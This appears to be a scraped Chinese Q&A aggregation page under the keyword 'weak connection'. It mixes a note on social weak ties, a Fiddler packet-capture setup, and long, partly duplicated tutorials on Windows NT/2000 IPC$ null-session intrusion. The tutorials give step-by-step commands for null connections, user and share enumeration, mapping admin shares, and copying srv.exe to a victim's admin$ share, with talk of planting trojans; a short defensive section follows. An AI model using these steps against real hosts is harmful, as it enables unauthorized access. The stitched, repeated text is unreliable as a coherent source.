弱連接建立

『壹』 弱連接的介紹

人與人之間的關系，從溝通互動的頻率來看，可以簡單劃分為強連內接和弱連接。強連接最有可能容的是你目前工作的搭檔，事業的夥伴，合作的客戶，生活和工作上互動的機會很多。弱連接范圍更廣，同學、朋友、親友等等都有可能，就是溝通和互動的機會較少，更多的是由於個人的時間、精力和溝通機會造成的。可以簡單的概括個人大概有150個聯系人，其中強連接約30個，弱連接約120個。

『貳』 如何用fillder設置弱網路

參考如下內容: 抓包就是獲取安卓設備與伺服器交互的數據，比如登錄功能，傳了哪些數據到伺服器中以及伺服器如何響應的。 目前有以下2種抓包方式 1. 通過fiddler抓包真機 好處是安卓手機不用root，簡單設置代理，並可以在電腦端檢測抓包數據。只能抓獲wifi，不同抓包3g/2g運營商的數據 2. 通過tcpudmp工具抓包 可以檢測真機，也可以模擬器。可以wifi，也可以3g/2g 必須root，可以安裝在手機內，然後電腦端開啟檢測或者停止檢測，抓到的數據包*.cab再拷貝到電腦，通過用Wireshark分析數據包。 本文主要總結fiddler抓包： 首先說明通過fillder抓包的網路數據包只能是http或者https協議，所以手機端有些app通過tcp/udp等協議傳輸的數據是無法捕獲的。 1. 設置fillder，監聽8888埠，允許遠程連接 fillder--->tools—>fillder options 2.查看電腦的ip dos命令行->cmd 因為本機使用的無限區域網1，所以應當查看標記處的ip，為 49.65.48.242，等會要在手機端設置ip為這個。 3.設置手機wifi代理參數 連接手機到電腦，打開已經連接的wifi，本機器用的wifi名字是myappweb 點擊 ，進入設置代理參數。 代理設置為手動，並將剛才的ip填寫進去，8888埠是fillder剛才設置的8888埠 點擊確定，下面就可以檢測手機端數據了。 測試，手機端打開「天貓」的客戶端

『叄』 怎麼建立IPC空連接

一 摘要
二 什麼是ipc$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$所使用的埠
六 ipc管道在hack攻擊中的意義
七 ipc$連接失敗的常見原因
八 復制文件失敗的原因
九 關於at命令和xp對ipc$的限制
十 如何打開目標的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能會用到的命令
十三 對比過去和現今的ipc$入侵
十四 如何防範ipc$入侵
十五 ipc$入侵問答精選

一 摘要
注意：本文所討論的各種情況均默認發生在win NT/2000環境下，win98將不在此次討論之列。

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源，它是為了讓進程間通信而開放的命名管道，通過提供可信任的用戶名和口令，連接雙方可以建立安全的通道並以此通道進行加密數據的交換，從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能，它有一個特點，即在同一時間內，兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時，在初次安裝系統時還打開了默認共享，即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些，微軟的初衷都是為了方便管理員的管理，但在有意無意中，導致了系統安全性的降低。
平時我們總能聽到有人在說ipc$漏洞，ipc$漏洞，其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這么說，一定是指微軟自己安置的那個『後門』：空會話（Null session）。那麼什麼是空會話呢？

三 什麼是空會話
在介紹空會話之前，我們有必要了解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的，建立成功的會話將成為一個安全隧道，建立雙方通過它互通信息，這個過程的大致順序如下：
1）會話請求者（客戶）向會話接收者（伺服器）傳送一個數據包，請求安全隧道的建
立；
2）伺服器產生一個隨機的64位數（實現挑戰）傳送回客戶；
3）客戶取得這個由伺服器產生的64位數，用試圖建立會話的帳號的口令打亂它，將結
果返回到伺服器（實現響應）；
4）伺服器接受響應後發送給本地安全驗證（LSA），LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是伺服器的本地帳號，核實本地發生；如果請求的帳號是一個域的帳號，響應傳送到域控制器去核實。當對挑戰的響應核實為正確後，一個訪問令牌產生，然後傳送給客戶。客戶使用這個訪問令牌連接到伺服器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程，那麼空會話又如何呢？

空會話是在沒有信任的情況下與伺服器建立的會話（即未提供用戶名與密碼），但根據WIN2000的訪問控制模型，空會話的建立同樣需要提供一個令牌，可是空會話在建立過程中並沒有經過用戶信息的認證，所以這個令牌中不包含用戶信息，因此，這個會話不能讓系統間發送加密信息，但這並不表示空會話的令牌中不包含安全標識符SID（它標識了用戶和所屬組），對於一個空會話，LSA提供的令牌的SID是S-1-5-7，這就是空會話的SID，用戶名是：ANONYMOUS LOGON（這個用戶名是可以在用戶列表中看到的，但是是不能在SAM資料庫中找到，屬於系統內置的帳號），這個訪問令牌包含下面偽裝的組：
Everyone
Network
在安全策略的限制下，這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢？

四 空會話可以做什麼
對於NT，在默認安全設置下，藉助空連接可以列舉目標主機上的用戶和共享，訪問everyone許可權的共享，訪問小部分注冊表等，並沒有什麼太大的利用價值；對2000作用更小，因為在Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網路訪問到注冊表，而且實現起來也不方便，需藉助工具。
從這些我們可以看到，這種非信任會話並沒有多大的用處，但從一次完整的ipc$入侵來看，空會話是一個不可缺少的跳板，因為我們從它那裡可以得到戶列表，而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的，成功的導出用戶列表大大增加了猜解的成功率，僅從這一點，足以說明空會話所帶來的安全隱患，因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令：

1 首先，我們先建立一個空連接（當然，這需要目標開放ipc$）
命令：net use \\ip\ipc$ "" /user:""
注意：上面的命令包括四個空格，net與use中間有一個空格，use後面一個，密碼左右各一個空格。

2 查看遠程主機的共享資源
命令：net view \\ip
解釋：前提是建立了空連接後，用此命令可以查看遠程主機的共享資源，如果它開了共享，可以得到如下面的結果，但此命令不能顯示默認共享。

在 \\*.*.*.*的共享資源
資源共享名 類型 用途 注釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看遠程主機的當前時間
命令： net time \\ip
解釋：用此命令可以得到一個遠程主機的當前時間。

4 得到遠程主機的NetBIOS用戶名列表（需要打開自己的NBT）
命令：nbtstat -A ip
用此命令可以得到一個遠程主機的NetBIOS用戶名列表，返回如下結果：

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我們經常使用空會話做的事情，好像也能獲得不少東西喲，不過要注意一點：建立IPC$連接的操作會在Event Log中留下記錄，不管你是否登錄成功。 好了，那麼下面我們就來看看ipc$所使用的埠是什麼？

五 ipc$所使用的埠
首先我們來了解一些基礎知識：
1 SMB:(Server Message Block) Windows協議族，用於文件列印共享的服務；
2 NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）埠實現基於TCP/IP協議的NETBIOS網路互聯。
3 在WindowsNT中SMB基於NBT實現，即使用139（TCP）埠；而在Windows2000中，SMB除了基於NBT實現，還可以直接通過445埠實現。

有了這些基礎知識，我們就可以進一步來討論訪問網路共享對埠的選擇了：

對於win2000客戶端（發起端）來說：
1 如果在允許NBT的情況下連接伺服器時，客戶端會同時嘗試訪問139和445埠，如果445埠有響應，那麼就發送RST包給139埠斷開連接，用455埠進行會話，當445埠無響應時，才使用139埠，如果兩個埠都沒有響應，則會話失敗；
2 如果在禁止NBT的情況下連接伺服器時，那麼客戶端只會嘗試訪問445埠，如果445埠無響應，那麼會話失敗。

對於win2000伺服器端來說：
1 如果允許NBT, 那麼UDP埠137, 138, TCP 埠 139, 445將開放（LISTENING）；
2 如果禁止NBT，那麼只有445埠開放。

我們建立的ipc$會話對埠的選擇同樣遵守以上原則。顯而易見，如果遠程伺服器沒有監聽139或445埠，ipc$會話是無法建立的。

六 ipc管道在hack攻擊中的意義
ipc管道本來是微軟為了方便管理員進行遠程管理而設計的，但在入侵者看來，開放ipc管道的主機似乎更容易得手。通過ipc管道，我們可以遠程調用一些系統函數（大多通過工具實現，但需要相應的許可權），這往往是入侵成敗的關鍵。如果不考慮這些，僅從傳送文件這一方面，ipc管道已經給了入侵者莫大的支持，甚至已經成為了最重要的傳輸手段，因此你總能在各大論壇上看到一些朋友因為打不開目標機器的ipc管道而一籌莫展大呼救命。當然，我們也不能忽視許可權在ipc管道中扮演的重要角色，想必你一定品嘗過空會話的尷尬，沒有許可權，開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的許可權，那麼ipc管道這把雙刃劍將顯示出它猙獰的一面。

七 ipc$連接失敗的常見原因
以下是一些常見的導致ipc$連接失敗的原因：

1 IPC連接是Windows NT及以上系統中特有的功能，由於其需要用到Windows NT中很多DLL函數，所以不能在Windows 9.x/Me系統中運行，也就是說只有nt/2000/xp才可以相互建立ipc$連接，98/me是不能建立ipc$連接的；

2 如果想成功的建立一個ipc$連接，就需要響應方開啟ipc$共享，即使是空連接也是這樣，如果響應方關閉了ipc$共享，將不能建立連接；

3 連接發起方未啟動Lanmanworkstation服務（顯示名為：Workstation）：它提供網路鏈結和通訊，沒有它發起方無法發起連接請求；

4 響應方未啟動Lanmanserver服務（顯示名為：Server）：它提供了 RPC 支持、文件、列印以及命名管道共享，ipc$依賴於此服務，沒有它主機將無法響應發起方的連接請求，不過沒有它仍可發起ipc$連接；

5 響應方未啟動NetLogon，它支持網路上計算機 pass-through 帳戶登錄身份（不過這種情況好像不多）；

6 響應方的139，445埠未處於監聽狀態或被防火牆屏蔽；

7 連接發起方未打開139，445埠；

8 用戶名或者密碼錯誤：如果發生這樣的錯誤，系統將給你類似於'無法更新密碼'這樣的錯誤提示（顯然空會話排除這種錯誤）；

9 命令輸入錯誤：可能多了或少了空格，當用戶名和密碼中不包含空格時兩邊的雙引號可以省略，如果密碼為空，可以直接輸入兩個引號""即可；

10 如果在已經建立好連接的情況下對方重啟計算機，那麼ipc$連接將會自動斷開，需要重新建立連接。

另外,你也可以根據返回的錯誤號分析原因：

錯誤號5，拒絕訪問：很可能你使用的用戶不是管理員許可權的；
錯誤號51，Windows無法找到網路路徑：網路有問題；
錯誤號53，找不到網路路徑：ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；
錯誤號67，找不到網路名：你的lanmanworkstation服務未啟動或者目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突：你已經和對方建立了一個ipc$，請刪除再連；
錯誤號1326，未知的用戶名或錯誤密碼：原因很明顯了；
錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動：目標NetLogon服務未啟動；
錯誤號2242，此用戶的密碼已經過期：目標有帳號策略，強制定期要求更改密碼。

『肆』 建立空連接之後.建立不了ipc連接...

一 摘要
二 什麼是$
三 什麼是空會話
四 空會話可以做什麼
五 ipc$所使用的埠
六 ipc管道在hack攻擊中的意義
七 ipc$連接失敗的常見原因
八 復制文件失敗的原因
九 關於at命令和xp對ipc$的限制
十 如何打開目標的IPC$共享以及其他共享
十一 一些需要shell才能完成的命令
十二 入侵中可能會用到的命令
十三 對比過去和現今的ipc$入侵
十四 如何防範ipc$入侵
十五 ipc$入侵問答精選

一 摘要
注意：本文所討論的各種情況均默認發生在win NT/2000環境下，win98將不在此次討論之列。

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源，它是為了讓進程間通信而開放的命名管道，通過提供可信任的用戶名和口令，連接雙方可以建立安全的通道並以此通道進行加密數據的交換，從而實現對遠程計算機的訪問。IPC$是NT/2000的一項新功能，它有一個特點，即在同一時間內，兩個IP之間只允許建立一個連接。NT/2000在提供了ipc$功能的同時，在初次安裝系統時還打開了默認共享，即所有的邏輯共享(c$,d$,e$……)和系統目錄winnt或windows(admin$)共享。所有的這些，微軟的初衷都是為了方便管理員的管理，但在有意無意中，導致了系統安全性的降低。
平時我們總能聽到有人在說ipc$漏洞，ipc$漏洞，其實ipc$並不是一個真正意義上的漏洞,我想之所以有人這么說，一定是指微軟自己安置的那個『後門』：空會話（Null session）。那麼什麼是空會話呢？

三 什麼是空會話
在介紹空會話之前，我們有必要了解一下一個安全會話是如何建立的。
在Windows NT 4.0中是使用挑戰響應協議與遠程機器建立一個會話的，建立成功的會話將成為一個安全隧道，建立雙方通過它互通信息，這個過程的大致順序如下：
1）會話請求者（客戶）向會話接收者（伺服器）傳送一個數據包，請求安全隧道的建
立；
2）伺服器產生一個隨機的64位數（實現挑戰）傳送回客戶；
3）客戶取得這個由伺服器產生的64位數，用試圖建立會話的帳號的口令打亂它，將結
果返回到伺服器（實現響應）；
4）伺服器接受響應後發送給本地安全驗證（LSA），LSA通過使用該用戶正確的口令來核實響應以便確認請求者身份。如果請求者的帳號是伺服器的本地帳號，核實本地發生；如果請求的帳號是一個域的帳號，響應傳送到域控制器去核實。當對挑戰的響應核實為正確後，一個訪問令牌產生，然後傳送給客戶。客戶使用這個訪問令牌連接到伺服器上的資源直到建議的會話被終止。
以上是一個安全會話建立的大致過程，那麼空會話又如何呢？

空會話是在沒有信任的情況下與伺服器建立的會話（即未提供用戶名與密碼），但根據WIN2000的訪問控制模型，空會話的建立同樣需要提供一個令牌，可是空會話在建立過程中並沒有經過用戶信息的認證，所以這個令牌中不包含用戶信息，因此，這個會話不能讓系統間發送加密信息，但這並不表示空會話的令牌中不包含安全標識符SID（它標識了用戶和所屬組），對於一個空會話，LSA提供的令牌的SID是S-1-5-7，這就是空會話的SID，用戶名是：ANONYMOUS LOGON（這個用戶名是可以在用戶列表中看到的，但是是不能在SAM資料庫中找到，屬於系統內置的帳號），這個訪問令牌包含下面偽裝的組：
Everyone
Network
在安全策略的限制下，這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那麼建立空會話到底可以作什麼呢？

四 空會話可以做什麼
對於NT，在默認安全設置下，藉助空連接可以列舉目標主機上的用戶和共享，訪問everyone許可權的共享，訪問小部分注冊表等，並沒有什麼太大的利用價值；對2000作用更小，因為在Windows 2000 和以後版本中默認只有管理員和備份操作員有權從網路訪問到注冊表，而且實現起來也不方便，需藉助工具。
從這些我們可以看到，這種非信任會話並沒有多大的用處，但從一次完整的ipc$入侵來看，空會話是一個不可缺少的跳板，因為我們從它那裡可以得到戶列表，而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的，成功的導出用戶列表大大增加了猜解的成功率，僅從這一點，足以說明空會話所帶來的安全隱患，因此說空會話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令：

1 首先，我們先建立一個空連接（當然，這需要目標開放ipc$）
命令：net use \\ip\ipc$ "" /user:""
注意：上面的命令包括四個空格，net與use中間有一個空格，use後面一個，密碼左右各一個空格。

2 查看遠程主機的共享資源
命令：net view \\ip
解釋：前提是建立了空連接後，用此命令可以查看遠程主機的共享資源，如果它開了共享，可以得到如下面的結果，但此命令不能顯示默認共享。

在 \\*.*.*.*的共享資源
資源共享名 類型 用途 注釋

-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。

3 查看遠程主機的當前時間
命令： net time \\ip
解釋：用此命令可以得到一個遠程主機的當前時間。

4 得到遠程主機的NetBIOS用戶名列表（需要打開自己的NBT）
命令：nbtstat -A ip
用此命令可以得到一個遠程主機的NetBIOS用戶名列表，返回如下結果：

Node IpAddress: [*.*.*.*] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H <1C> GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services <1C> GROUP Registered
IS~SERVER......<00> UNIQUE Registered

MAC Address = 00-50-8B-9A-2D-37

以上就是我們經常使用空會話做的事情，好像也能獲得不少東西喲，不過要注意一點：建立IPC$連接的操作會在Event Log中留下記錄，不管你是否登錄成功。 好了，那麼下面我們就來看看ipc$所使用的埠是什麼？

五 ipc$所使用的埠
首先我們來了解一些基礎知識：
1 SMB:(Server Message Block) Windows協議族，用於文件列印共享的服務；
2 NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）埠實現基於TCP/IP協議的NETBIOS網路互聯。
3 在WindowsNT中SMB基於NBT實現，即使用139（TCP）埠；而在Windows2000中，SMB除了基於NBT實現，還可以直接通過445埠實現。

有了這些基礎知識，我們就可以進一步來討論訪問網路共享對埠的選擇了：

對於win2000客戶端（發起端）來說：
1 如果在允許NBT的情況下連接伺服器時，客戶端會同時嘗試訪問139和445埠，如果445埠有響應，那麼就發送RST包給139埠斷開連接，用455埠進行會話，當445埠無響應時，才使用139埠，如果兩個埠都沒有響應，則會話失敗；
2 如果在禁止NBT的情況下連接伺服器時，那麼客戶端只會嘗試訪問445埠，如果445埠無響應，那麼會話失敗。

對於win2000伺服器端來說：
1 如果允許NBT, 那麼UDP埠137, 138, TCP 埠 139, 445將開放（LISTENING）；
2 如果禁止NBT，那麼只有445埠開放。

我們建立的ipc$會話對埠的選擇同樣遵守以上原則。顯而易見，如果遠程伺服器沒有監聽139或445埠，ipc$會話是無法建立的。

六 ipc管道在hack攻擊中的意義
ipc管道本來是微軟為了方便管理員進行遠程管理而設計的，但在入侵者看來，開放ipc管道的主機似乎更容易得手。通過ipc管道，我們可以遠程調用一些系統函數（大多通過工具實現，但需要相應的許可權），這往往是入侵成敗的關鍵。如果不考慮這些，僅從傳送文件這一方面，ipc管道已經給了入侵者莫大的支持，甚至已經成為了最重要的傳輸手段，因此你總能在各大論壇上看到一些朋友因為打不開目標機器的ipc管道而一籌莫展大呼救命。當然，我們也不能忽視許可權在ipc管道中扮演的重要角色，想必你一定品嘗過空會話的尷尬，沒有許可權，開啟管道我們也無可奈何。但入侵者一旦獲得了管理員的許可權，那麼ipc管道這把雙刃劍將顯示出它猙獰的一面。

七 ipc$連接失敗的常見原因
以下是一些常見的導致ipc$連接失敗的原因：

1 IPC連接是Windows NT及以上系統中特有的功能，由於其需要用到Windows NT中很多DLL函數，所以不能在Windows 9.x/Me系統中運行，也就是說只有nt/2000/xp才可以相互建立ipc$連接，98/me是不能建立ipc$連接的；

2 如果想成功的建立一個ipc$連接，就需要響應方開啟ipc$共享，即使是空連接也是這樣，如果響應方關閉了ipc$共享，將不能建立連接；

3 連接發起方未啟動Lanmanworkstation服務（顯示名為：Workstation）：它提供網路鏈結和通訊，沒有它發起方無法發起連接請求；

4 響應方未啟動Lanmanserver服務（顯示名為：Server）：它提供了 RPC 支持、文件、列印以及命名管道共享，ipc$依賴於此服務，沒有它主機將無法響應發起方的連接請求，不過沒有它仍可發起ipc$連接；

5 響應方未啟動NetLogon，它支持網路上計算機 pass-through 帳戶登錄身份（不過這種情況好像不多）；

6 響應方的139，445埠未處於監聽狀態或被防火牆屏蔽；

7 連接發起方未打開139，445埠；

8 用戶名或者密碼錯誤：如果發生這樣的錯誤，系統將給你類似於'無法更新密碼'這樣的錯誤提示（顯然空會話排除這種錯誤）；

9 命令輸入錯誤：可能多了或少了空格，當用戶名和密碼中不包含空格時兩邊的雙引號可以省略，如果密碼為空，可以直接輸入兩個引號""即可；

10 如果在已經建立好連接的情況下對方重啟計算機，那麼ipc$連接將會自動斷開，需要重新建立連接。

另外,你也可以根據返回的錯誤號分析原因：

錯誤號5，拒絕訪問：很可能你使用的用戶不是管理員許可權的；
錯誤號51，Windows無法找到網路路徑：網路有問題；
錯誤號53，找不到網路路徑：ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；
錯誤號67，找不到網路名：你的lanmanworkstation服務未啟動或者目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突：你已經和對方建立了一個ipc$，請刪除再連；
錯誤號1326，未知的用戶名或錯誤密碼：原因很明顯了；
錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動：目標NetLogon服務未啟動；
錯誤號2242，此用戶的密碼已經過期：目標有帳號策略，強制定期要求更改密碼。

...............哈哈，你先刪除原來的鏈接， net use \\ip\ipc$ /del 刪除IPC鏈接 ，然後在鏈接就好了！~

『伍』 弱連接的作用

事實上，在信息的擴散傳播方面，弱連接起著同樣的作用。一個人的親朋好友圈子裡專的人可能相互認屬識，因此，在這樣圈子中，他人提供的交流信息總是冗餘。比如，我從這個朋友或親戚聽到的，可能早已經在另一個朋友那裡聽說了，而他們之間也都相互交談過此話題。日常生活中不乏這樣的事例。

『陸』 net use 建立空連接問題

對IPC$的詳盡分析

網上關於ipc$ 入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。

不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!

什麼是ipc$

IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的)，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$ 共享,否則你是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。我們總在說ipc$ 漏洞ipc$ 漏洞,其實,ipc$ 並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$) 。所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$，訪問共享資源,導出用戶列表,並使用一些字典工具，進行密碼探測,寄希望於獲得更高的許可權,從而達到不可 告人的目的.

解惑:

1) IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能，其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。也就是說只有nt/2000/xp才可以建立ipc$ 連接,98/me是不能建立 ipc$ 連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)

2) 即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$ 共享,你仍然無法建立連接

3) 並不是說建立了ipc$ 連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表建立 ipc$ 連接在hack攻擊中的作用就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want ,u can do!!(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server，還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的,你會慢慢的發現ipc$ 連接並不是萬能的,甚至在主機不開啟ipc$ 共享時,你根本就無法連接.所以我認為,你不要把ipc$ 入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$ 連接在hack入侵中的意義所在.

ipc$ 與空連接,139,445埠,默認共享的關系以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)

1) ipc$ 與空連接

不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).

2) ipc$ 與139,445埠

ipc$ 連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$ 連接是需要139或445埠來支持的.

3)ipc$與默認共享

默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$ ,d$ ,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$ 連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)

ipc$連接失敗的原因以下5個原因是比較常見的:

1)你的系統不是NT或以上操作系統;

2)對方沒有打開ipc$默認共享

3)對方未開啟139或445埠(惑被防火牆屏蔽)

4)你的命令輸入有誤(比如缺少了空格等)

5)用戶名或密碼錯誤(空連接當然無所謂了)

另外,你也可以根據返回的錯誤號分析原因：

錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員許可權的，先提升許可權；

錯誤號51，Windows 無法找到網路路徑 : 網路有問題；

錯誤號53，找不到網路路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；

錯誤號67，找不到網路名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$；

錯誤號1219，提供的憑據與已存在的憑據集沖突： 你已經和對方建立了一個ipc$，請刪除再連。

錯誤號1326，未知的用戶名或錯誤密碼： 原因很明顯了；

錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動： 目標NetLogon服務未啟動。（連接域控會出現此情況）

錯誤號2242，此用戶的密碼已經過期： 目標有帳號策略，強制定期要求更改密碼。

關於ipc$連不上的問題比較復雜，除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.

如何打開目標的IPC$

首先你需要獲得一個不依賴於ipc$ 的shell，比如sql的cmd擴展、telnet、木馬,當然，這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麼做的請看net命令的用法）,還是不行的話（比如有防火牆，殺不了）建議放棄。

如何防範ipc$入侵

1禁止空連接進行枚舉

(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)首先運行regedit，找到如下組件[HKEY_LOCAL_]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2禁止默認共享

1）察看本地共享資源運行 cmd 輸入net share

2）刪除共享(每次輸入一個）net share ipc$ /delete ；net share admin$ /delete ；net share c$ /delete ；net share d$ /delete（如果有e, f,……可以繼續刪除）

3）停止server服務net stop server /y （重新啟動後server服務會重新開啟）

4）修改注冊表運行regedit

server版:找到如下主鍵[HKEY_LOCAL_]把AutoShareServer（DWORD）的鍵值改為:00000000。

pro版:找到如下主鍵[HKEY_LOCAL_]把AutoShareWks（DWORD）的鍵值改為:00000000。

如果上面所說的主鍵不存在，就新建(右擊-新建-雙位元組值）一個主健再改鍵值。

3永久關閉ipc$和默認共享依賴的服務:

lanmanserver即server服務控制面板-管理工具-服務-找到server服務（右擊）-屬性-常規-啟動類型-已禁用4安裝防火牆(選中相關設置)，或者埠過濾(濾掉139,445等),或者用新版本的優化大師5設置復雜密碼，防止通過 ipc$ 窮舉密碼

相關命令

1)建立空連接

net use IPipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空連接

net use IPipc$ "密碼" /user:"用戶名" (同樣有3個空格)

3)映射默認共享

net use z: IPc$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)

如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: IPc$

4)刪除一個ipc$連接

net use IPipc$ /del

5)刪除共享映射

net use c: /del 刪除映射的c盤，其他盤類推 net use * /del 刪除全部,會有提示要求按y確認

經典入侵模式

這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:>net use 127.0.0.1IPC$ "" /user:"admintitrators" 這是用《流光》掃到的用戶名是administrators，密碼為"空"的IP地址(空口令?哇,運氣好到家了)，如果是打算攻擊的話，就可以用這樣的命令來與127.0.0.1建立一個連接，因為密碼為"空"，所以第一個引號處就不用輸入，後面一個雙引號里的是用戶名，輸入administrators，命令即可成功完成。

2. C:> srv.exe 127.0.0.1admin$ 先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:winntsystem32，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什麼地方去了）。

3. C:>net time 127.0.0.1 查查時間，發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00，命令成功完成。

